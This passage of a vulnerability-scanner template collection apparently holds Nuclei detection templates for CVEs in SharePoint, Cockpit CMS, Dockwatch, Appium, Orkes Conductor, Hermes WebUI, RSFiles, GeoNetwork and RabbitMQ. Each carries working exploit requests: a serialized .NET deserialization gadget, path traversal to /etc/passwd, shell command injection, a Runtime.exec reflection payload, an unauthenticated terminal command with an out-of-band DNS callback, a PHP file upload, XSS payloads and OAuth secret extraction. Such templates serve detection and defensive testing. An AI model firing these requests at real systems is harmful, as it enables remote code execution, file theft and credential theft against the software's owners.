WZsZWN0aW9uLkFzc2VtYmx5XV0JPgAAAAoJPgAAAAZSAAAAGlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5BlMAAAAETG9hZAoEQwAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgYAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10JUwAAAAk+AAAACVIAAAAGVgAAACdTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgFEAAAAQgAAAAZXAAAAZVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGVdXV1dCT4AAAAKCT4AAAAJUgAAAAZaAAAACEdldFR5cGVzCgFFAAAAQwAAAAlaAAAACT4AAAAJUgAAAAZdAAAAGFN5c3RlbS5UeXBlW10gR2V0VHlwZXMoKQgAAAAKAUYAAABCAAAABl4AAACCAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV1dLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZV1dXV0JPgAAAAoJPgAAAAZgAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV0GYQAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAlhAAAACT4AAAAJYAAAAAZkAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQgAAAAKAUgAAABCAAAABmUAAABZU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5Cb29sZWFuXV0JPgAAAAoJPgAAAAZnAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZoAAAACE1vdmVOZXh0CgFJAAAAQwAAAAloAAAACT4AAAAJZwAAAAZrAAAAEkJvb2xlYW4gTW92ZU5leHQoKQgAAAAKAUoAAABCAAAABmwAAABWU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5UeXBlXV0JPgAAAAoJPgAAAAZuAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlXV0GbwAAAAtnZXRfQ3VycmVudAoBSwAAAEMAAAAJbwAAAAk+AAAACW4AAAAGcgAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGcwAAACxTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uVHlwZV0sW1N5c3RlbS5PYmplY3RdXQk+AAAACgk+AAAABnUAAAAQU3lzdGVtLkFjdGl2YXRvcgZ2AAAADkNyZWF0ZUluc3RhbmNlCgFNAAAAQwAAAAl2AAAACT4AAAAJdQAAAAZ5AAAAKVN5c3RlbS5PYmplY3QgQ3JlYXRlSW5zdGFuY2UoU3lzdGVtLlR5cGUpCAAAAAoBTgAAAA8AAAAGegAAACZTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkNvbW1hbmRJRAQAAAAJOgAAABBPAAAAAgAAAAl8AAAACAgAIAAABHwAAAALU3lzdGVtLkd1aWQLAAAAAl9hAl9iAl9jAl9kAl9lAl9mAl9nAl9oAl9pAl9qAl9rAAAAAAAAAAAAAAAIBwcCAgICAgICAhMT0nTuKtERi/sAoMkPJvcL'\n\nflow: javascript() && http(1) && http(2)\n\njavascript:\n  - code: |\n        const bytess = require(\"nuclei/bytes\");\n\n        function u8(arr) { return new Uint8Array(arr); }\n\n        function strToBuf(str) {\n          var b = new bytess.Buffer();\n          b.WriteString(str);\n          return b;\n        }\n\n        function encode7BitInt(n) {\n          if (n === 0) return new bytess.Buffer(u8([0]));\n          var tmp = [];\n          while (n > 0) {\n            var v = n & 0x7F;\n            n >>>= 7;\n            if (n > 0) v |= 0x80;\n            tmp.push(v);\n          }\n          return new bytess.Buffer(u8(tmp));\n        }\n\n        function replaceAllBytes(hay, needle, repl) {\n          var H = hay.Bytes();\n          var N = needle.Bytes();\n          var out = new bytess.Buffer();\n          for (var i = 0; i < H.length;) {\n            var match = true;\n            for (var j = 0; j < N.length; j++) {\n              if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }\n            }\n            if (match) {\n              out.Write(repl.Bytes());\n              i += N.length;\n            } else {\n              out.Write(u8([H[i]]));\n              i++;\n            }\n          }\n          return out;\n        }\n\n        function rawDeflateStored(data) {\n          var bytes = data.Bytes();\n          var maxBlock = 65535;\n          var out = new bytess.Buffer();\n          for (var offset = 0; offset < bytes.length; offset += maxBlock) {\n            var blockSize = Math.min(bytes.length - offset, maxBlock);\n            var isLast = (offset + blockSize >= bytes.length) ? 1 : 0;\n            // BFINAL|BTYPE(00): for stored block BTYPE=00, first byte = BFINAL (1 bit) | 0 | 0\n            out.Write(u8([isLast]));\n            // LEN (2-byte LE) and NLEN = one's complement of LEN (2-byte LE)\n            var nlen = (~blockSize) & 0xFFFF;\n            out.Write(u8([blockSize & 0xFF, (blockSize >> 8) & 0xFF]));\n            out.Write(u8([nlen & 0xFF, (nlen >> 8) & 0xFF]));\n            out.Write(u8(bytes.slice(offset, offset + blockSize)));\n          }\n          return out;\n        }\n\n        // Build DataSet BinaryFormatter gadget with inner gadget replacing HAX placeholder.\n        // HAX is a 3-byte placeholder inside the DataSet BinaryFormatter binary representing\n        // the base64-encoded inner LosFormatter gadget string. The DataSet gadget decodes the\n        // base64 string and passes the binary to LosFormatter.Deserialize().\n        dataset_gadget_raw = strToBuf(atob(dg));\n        dataset_gadget_raw1 = replaceAllBytes(\n          dataset_gadget_raw,\n          strToBuf(\"HAX\"),\n          strToBuf(ig)\n        );\n        dataset_gadget_raw2 = replaceAllBytes(\n          dataset_gadget_raw,\n          strToBuf(\"HAX\"),\n          strToBuf(ig2)\n        );\n\n        var oldLen = encode7BitInt(9163);\n        var newLen = encode7BitInt(9163 - 7772 + ig.length);\n        var newLen2 = encode7BitInt(9163 - 7772 + ig2.length);\n        dataset_gadget_raw1 = replaceAllBytes(dataset_gadget_raw1, oldLen, newLen);\n        dataset_gadget_raw2 = replaceAllBytes(dataset_gadget_raw2, oldLen, newLen2);\n\n        var deflated1 = rawDeflateStored(dataset_gadget_raw1);\n        var deflated2 = rawDeflateStored(dataset_gadget_raw2);\n\n        (btoa(deflated1.String()) + \":\" + btoa(deflated2.String()))\n\n    args:\n      ig: \"{{internal_gadget_b64}}\"\n      ig2: \"{{internal_gadget2_b64}}\"\n      dg: \"{{dataset_gadget_b64}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(header), \"microsoftsharepointteamservices\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        wa=wsignin1.0&wctx={{url_encode(RootURL + \"/\")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc=\"http://schemas.xmlsoap.org/ws/2005/02/sc\"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns=\"http://schemas.microsoft.com/ws/2006/05/security\">', replace_regex(javascript_response, \":.*\", \"\"), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}\n\n      - |\n        POST /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        wa=wsignin1.0&wctx={{url_encode(RootURL + \"/\")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc=\"http://schemas.xmlsoap.org/ws/2005/02/sc\"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns=\"http://schemas.microsoft.com/ws/2006/05/security\">', replace_regex(javascript_response, \".*:\", \"\"), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(header), \"x-nuclei\")'\n# digest: 4b0a00483046022100ec03c55f6e3353a62238fbd1f19d8ccef5afd6ea071129731372c7cd4a3de3a9022100ca6ed5bc52f8cdebc7379f6750189b4d35943de13e0686ce0400e834af92840e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-58644.yaml","vuln_id":"cve-2026-58644"},{"raw":"id: CVE-2026-58467\n\ninfo:\n  name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion\n  author: Abdullah Shahid (comradezephyr)\n  severity: high\n  description: |\n    Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.\n  impact: |\n    An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.\n  remediation: |\n    Upgrade to Cockpit CMS version 2.14.1 or higher.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-58467\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58467\n    - https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1\n    - https://github.com/geo-chen/oss/blob/main/cockpit.md\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-58467\n    epss-score: 0.0173\n    epss-percentile: 0.77664\n    cwe-id: CWE-22\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: cockpit-hq\n    product: cockpit\n    shodan-query: 'http.favicon.hash:\"688609340\"'\n    fofa-query: 'icon_hash==\"688609340\"'\n  tags: cve,cve2026,cockpit,cms,lfi,traversal\n\nhttp:\n  - raw:\n      - |\n        GET /:x/storage/../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ef3a9660232f4db249c5b81813f8403c458d5cad5c1faaa0d5769faebbd82c9f022036781dd883ca9cba13d56c137f94b6e3a3caf7b18390fb87276700a5538a57a8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-58467.yaml","vuln_id":"cve-2026-58467"},{"raw":"id: CVE-2026-58455\n\ninfo:\n  name: Dockwatch <= 0.6.567 - OS Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.\n  impact: |\n    Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.\n  remediation: |\n    Update to the latest version that fixes the authentication and input validation issues.\n  reference:\n    - https://github.com/Notifiarr/dockwatch/pull/135\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58455\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58455\n    cwe-id: CWE-78\n    epss-score: 0.0804\n    epss-percentile: 0.94802\n  metadata:\n    max-request: 2\n    vendor: notifiarr\n    product: dockwatch\n    shodan-query: title:\"Dockwatch\"\n  tags: cve,cve2026,dockwatch,rce,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  cmd: \"echo CVE-2026-58455 | rev\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Dockwatch\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax/compose.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        m=composePull&composePath=x;{{cmd}};#\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '55845-2602-EVC'\n# digest: 4a0a004730450220123afb32aa1c7b3ce073ee88ba84022b4211f79cfae3f2df69543177a11d0212022100dda1ff1e15564a2c3f22d17864c0d14c7e29e9f894aeee679c5bb89a073f4d3d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-58455.yaml","vuln_id":"cve-2026-58455"},{"raw":"id: CVE-2026-58191\n\ninfo:\n  name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting\n  author: str4k3r\n  severity: medium\n  description: |\n    Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.\n  impact: |\n    Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.\n  remediation: |\n    Update to version 10.7.0 or later.\n  reference:\n    - https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc\n    - https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89\n    - https://github.com/appium/appium/releases/tag/@appium/base-driver@10.7.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58191\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-58191\n    epss-score: 0.00564\n    epss-percentile: 0.47005\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: appium\n    product: appium\n    shodan-query: 'http.favicon.hash:-144749386'\n    fofa-query: 'icon_hash=\"-144749386\"'\n  tags: cve,cve2026,appium,xss,base-driver,node\n\nhttp:\n  - raw:\n      - |\n        GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"alert(document.domain)\")'\n          - 'contains_all(body, \"This page is a Selenium sandbox\", \"Appium\")'\n        condition: and\n# digest: 4b0a00483046022100816251a38fa5788cd27f9bfe21cd9dd2002470dcc11a4ab8ac6a3c6af4ff249a022100fa51e24d1e11b53676da0508bfd1ff157db0c200e221d978851c433c5444d593:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-58191.yaml","vuln_id":"cve-2026-58191"},{"raw":"id: CVE-2026-58138\n\ninfo:\n  name: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution\n  author: aryu-ru\n  severity: critical\n  description: |\n    Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.\n  impact: |\n    A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.\n  remediation: |\n    Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.\n  reference:\n    - https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators\n    - https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1\n    - https://github.com/conductor-oss/conductor/releases/tag/v3.30.2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58138\n    - https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58138\n    epss-score: 0.09143\n    epss-percentile: 0.95333\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: conductor-oss\n    product: conductor\n    shodan-query: http.title:\"Conductor UI\"\n  tags: cve,cve2026,conductor,graalvm,rce,intrusive,vkev\n\nvariables:\n  wfname: \"{{rand_text_alpha(12)}}\"\n  marker: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/metadata/workflow HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\": \"{{wfname}}\", \"version\": 1, \"schemaVersion\": 2, \"ownerEmail\": \"test@test.com\", \"tasks\": [{\"name\": \"n\", \"taskReferenceName\": \"n\", \"type\": \"INLINE\", \"inputParameters\": {\"evaluatorType\": \"javascript\", \"expression\": \"var k=$.getClass().getClass();var S=k.getMethod('getName').getReturnType();var forName=k.getMethod('forName',S);var L=function(n){return forName.invoke(null,[n]);};var RT=L('java.lang.Runtime');var rt=RT.getMethod('getRuntime').invoke(null,[]);var I=L('java.lang.Integer').getField('TYPE').get(null);var A=L('java.lang.reflect.Array');var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'echo {{marker}}-$((6*7))']);var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);var o='',l;while((l=br.readLine())!==null)o+=l+'\\\\n';o\"} }]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/workflow/{{wfname}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: wfid\n        internal: true\n        group: 1\n        regex:\n          - \"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"\n\n  - raw:\n      - |\n        GET /api/workflow/{{wfid}}?includeTasks=true HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}-42\"\n\n      - type: word\n        part: content_type\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022004e537974f53967b8af740d672020b89db942979f92df4f9f9ccc563ee73a979022100bbd83806eb2345795fe989b7d45ae0ce2e05d619077f2ab36a8067e348698d71:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-58138.yaml","vuln_id":"cve-2026-58138"},{"raw":"id: CVE-2026-58123\n\ninfo:\n  name: Hermes WebUI < 0.51.788 - Remote Code Execution\n  author: str4k3r\n  severity: critical\n  description: |\n    Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.\n  impact: |\n    Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.\n  remediation: |\n    Update to version 0.51.788 or later.\n  reference:\n    - https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api\n    - https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4\n    - https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-58123\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-58123\n    epss-score: 0.04649\n    epss-percentile: 0.91762\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: nesquena\n    product: hermes-webui\n  tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/session/new HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_id\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"session_id\"\\s*:\\s*\"([a-f0-9]{12})\"'\n\n  - raw:\n      - |\n        POST /api/terminal/start HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"session_id\":\"{{session_id}}\"}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        POST /api/terminal/input HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"session_id\":\"{{session_id}}\",\"data\":\"python3 -c \\\"import socket; socket.gethostbyname('{{interactsh-url}}')\\\"\\n\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200c3e9c3affdd78867654a4a49b5727400426f2bb8188b0c94c1be9f7a9cffa15022051fcbbf13f0731b507f07220d932fd757bf8ff5c45f28ad8c0c52b6e5b1331b8:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-58123.yaml","vuln_id":"cve-2026-58123"},{"raw":"id: CVE-2026-57827\n\ninfo:\n  name: RSFiles! for Joomla - Arbitrary File Upload\n  author: omarkurt\n  severity: critical\n  description: |\n    RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.\n  impact: |\n    Unauthenticated remote code execution via PHP webshell upload.\n  remediation: |\n    Update RSFiles! to version 1.17.12 or later.\n  reference:\n    - https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/\n    - https://vulnerabletarget.com/VT-2026-57827\n    - https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-57827\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-57827\n    epss-score: 0.02328\n    epss-percentile: 0.83562\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: rsjoomla\n    product: rsfiles\n    framework: joomla\n    shodan-query: http.html:\"com_rsfiles\"\n    fofa-query: body=\"com_rsfiles\"\n  tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive\n\nvariables:\n  marker: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"status\\\":\\\"ok\\\"\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827\n\n        ------RSFilesBoundary57827\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.php\"\n        Content-Type: application/x-php\n\n        <?php echo 'VT-2026-57827-{{marker}}'; ?>\n        ------RSFilesBoundary57827--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"status\\\":\\\"success\\\"\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /downloads/{{marker}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - \"contains(body, 'VT-2026-57827-{{marker}}')\"\n        condition: and\n# digest: 4a0a0047304502201a7614bf8d820e3122c2d46d776acb270e422abb8658c0dc4fa8376e7fea90fb022100852f924db2ebb175983325a8f4d150e0c7dbccfc6da2ba2320b5769f00d07d02:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-57827.yaml","vuln_id":"cve-2026-57827"},{"raw":"id: CVE-2026-57582\n\ninfo:\n  name: GeoNetwork - Reflected Cross-Site Scripting\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.\n  impact: |\n    An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.\n  remediation: |\n    Upgrade GeoNetwork to version 4.4.12 or later.\n  reference:\n    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-57582\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: geonetwork\n    product: core-geonetwork\n    framework: java\n    shodan-query: html:\"/srv/eng/\"\n  tags: cve,cve2026,geonetwork,xss\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"(alert(1),{})\"\n          - \"GnCatController\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n        case-insensitive: true\n# digest: 4a0a00473045022100f3bc6ae228b557059dc9b89c121c58e4c2ce015d2e9f29f2f6e0f0b80809c95c02206d47dac07d7030f07779c67935789ee18d9af0344bda0fb24510e6275f6345d1:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-57582.yaml","vuln_id":"cve-2026-57582"},{"raw":"id: CVE-2026-57219\n\ninfo:\n  name: RabbitMQ Management - OAuth 2 Client Secret Disclosure\n  author: aryu-ru\n  severity: high\n  description: |\n    RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.\n  impact: |\n    Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access.\n  remediation: |\n    Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later.\n  reference:\n    - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q\n    - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-57219\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-57219\n    epss-score: 0.02837\n    epss-percentile: 0.86688\n    cwe-id: CWE-522\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: broadcom\n    product: rabbitmq_server\n    shodan-query: http.title:\"RabbitMQ Management\"\n    fofa-query: title=\"RabbitMQ Management\"\n  tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /api/auth HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n          - contains_all(body, \"oauth_enabled\", \"oauth_client_secret\")\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.oauth_client_secret'\n# digest: 